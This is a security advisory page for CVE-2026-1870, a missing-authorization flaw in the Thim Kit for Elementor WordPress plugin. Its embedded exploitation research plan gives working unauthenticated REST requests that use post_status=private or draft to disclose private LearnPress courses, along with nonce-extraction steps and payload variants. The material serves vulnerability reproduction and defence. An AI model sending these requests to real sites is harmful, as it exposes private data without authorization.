Thim Kit for Elementor <= 1.3.7 - Missing Authorization to Unauthenticated Private Course Disclosure
Description
The Thim Kit for Elementor – Pre-built Templates & Widgets for Elementor plugin for WordPress is vulnerable to unauthorized access of data due to a missing validation checks on the 'thim-ekit/archive-course/get-courses' REST endpoint callback function in all versions up to, and including, 1.3.7. This makes it possible for unauthenticated attackers to disclose private or draft LearnPress course content by supplying post_status in the params_url payload.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=1.3.7What Changed in the Fix
Changes introduced in v1.3.8
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1870 (Thim Kit for Elementor) ## 1. Vulnerability Summary The **Thim Kit for Elementor** plugin (up to 1.3.7) contains a missing authorization vulnerability in its REST API implementation. Specifically, the endpoint `thim-ekit/archive-course/get-courses` (like…
Show full research plan
Exploitation Research Plan: CVE-2026-1870 (Thim Kit for Elementor)
1. Vulnerability Summary
The Thim Kit for Elementor plugin (up to 1.3.7) contains a missing authorization vulnerability in its REST API implementation. Specifically, the endpoint thim-ekit/archive-course/get-courses (likely under the thim-ekit/v1 namespace) fails to validate the post_status parameter within the params_url input. This allows unauthenticated users to query the database for courses with statuses that should be restricted, such as private, draft, or pending, leading to unauthorized disclosure of course content.
2. Attack Vector Analysis
- Endpoint:
/wp-json/thim-ekit/v1/archive-course/get-courses(Namespacev1is inferred based on standard WordPress practices;thim-ekitis the identified base). - HTTP Method:
GET(Primary) orPOST. - Vulnerable Parameter:
params_url. - Payload Key:
post_status(insideparams_url). - Authentication: Unauthenticated (None required).
- Precondition: The LearnPress plugin must be installed and active, as this plugin specifically targets LearnPress course types (
lp_course).
3. Code Flow (Inferred)
- Registration: The plugin registers a REST route
thim-ekit/archive-course/get-coursesviaregister_rest_route. - Permission Callback: The
permission_callbackfor this route is likely set to__return_trueor lacks a check foris_user_logged_in(). - Data Processing: The callback function accepts a
WP_REST_Requestobject. - Parameter Extraction: It extracts the
params_urlparameter. Ifparams_urlis a string, it might useparse_str()to convert it into an array; if it is an array, it uses it directly. - Query Building: The extracted parameters are passed into an array for
WP_Queryor a LearnPress-specific course query class. - Sink: Because the plugin does not filter out or override the
post_statuskey from the user-providedparams_url, the attacker can setpost_statustoprivateordraft. - Response: The database returns the matching courses, and the REST API returns their data (title, content, metadata) to the unauthenticated requester.
4. Nonce Acquisition Strategy
The vulnerability description explicitly states "unauthenticated attackers," suggesting that no nonce is required for the REST endpoint.
However, if a REST nonce is required for the v1 namespace, it can typically be found in the frontend source where Thim Kit widgets are active.
- Shortcode Identification: Look for Thim Kit archive widgets. Inferred shortcode:
[thim-ekit-archive-course]. - Page Creation:
wp post create --post_type=page --post_status=publish --post_title="Course Archive" --post_content='[thim-ekit-archive-course]' - Extraction:
Navigate to the page and usebrowser_evalto check for localized data:browser_eval("window.thim_ekit_archive_course?.nonce")browser_eval("window.thim_ekit?.rest_nonce")
Note: If the endpoint is truly unauthenticated and meant for AJAX-style loading of courses, a nonce is unlikely to be enforced.
5. Exploitation Strategy
The exploit involves sending a request to the REST API with a crafted params_url that includes post_status=private.
Request 1: Discovery (Testing if endpoint exists)
- Tool:
http_request - Method:
GET - URL:
/wp-json/thim-ekit/v1/archive-course/get-courses - Expected: A
200 OKor400 Bad Request(missing params), but not a404.
Request 2: Exploitation (Private Course Disclosure)
- Tool:
http_request - Method:
GET - URL:
/wp-json/thim-ekit/v1/archive-course/get-courses?params_url=post_status%3Dprivate - Alternative URL (if array-based):
/wp-json/thim-ekit/v1/archive-course/get-courses?params_url[post_status]=private - Headers:
Content-Type: application/json
Request 3: Exploitation (Draft Course Disclosure)
- Tool:
http_request - Method:
GET - URL:
/wp-json/thim-ekit/v1/archive-course/get-courses?params_url=post_status%3Ddraft
6. Test Data Setup
- Install Dependencies:
- Install and activate LearnPress.
- Create Target Content:
- Create a Private Course:
wp post create --post_type=lp_course --post_title="Top Secret Course" --post_status=private --post_content="The password is: ThimKitVulnerable2026" - Create a Draft Course:
wp post create --post_type=lp_course --post_title="Unfinished Business" --post_status=draft --post_content="Draft content here."
- Create a Private Course:
- Verify Post IDs:
wp post list --post_type=lp_course --post_status=any
7. Expected Results
- Success: The REST API returns a JSON response containing the "Top Secret Course" and "Unfinished Business" data.
- Data Structure: The response should contain an array of course objects. Look for the
titleandcontent(orrendered) fields in the JSON. - Access Control: A non-vulnerable version should return an empty list or only public courses, regardless of the
post_statusparameter.
8. Verification Steps
- Confirm Output: Check the body of the
http_requestresponse for the string"ThimKitVulnerable2026". - Verify Auth Status: Ensure the
http_requestis sent without any session cookies or Authorization headers to confirm the "unauthenticated" nature of the flaw. - CLI Comparison:
wp post get <ID> --field=post_status
Confirm the ID found in the REST response matches the post that is indeedprivateordraft.
9. Alternative Approaches
- Namespace Variations: If
v1is incorrect, trythim-ekit/v2or check/wp-json/index to find the correct namespace. - Method Variation: If
GETfails, try aPOSTrequest:{ "params_url": "post_status=private" } - Nested Query: Try
params_url[query][post_status]=privateif the plugin uses a nested query builder. - LearnPress Query Params: Try adding
post_type=lp_courseexplicitly to theparams_url:?params_url=post_status=private&post_type=lp_course
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.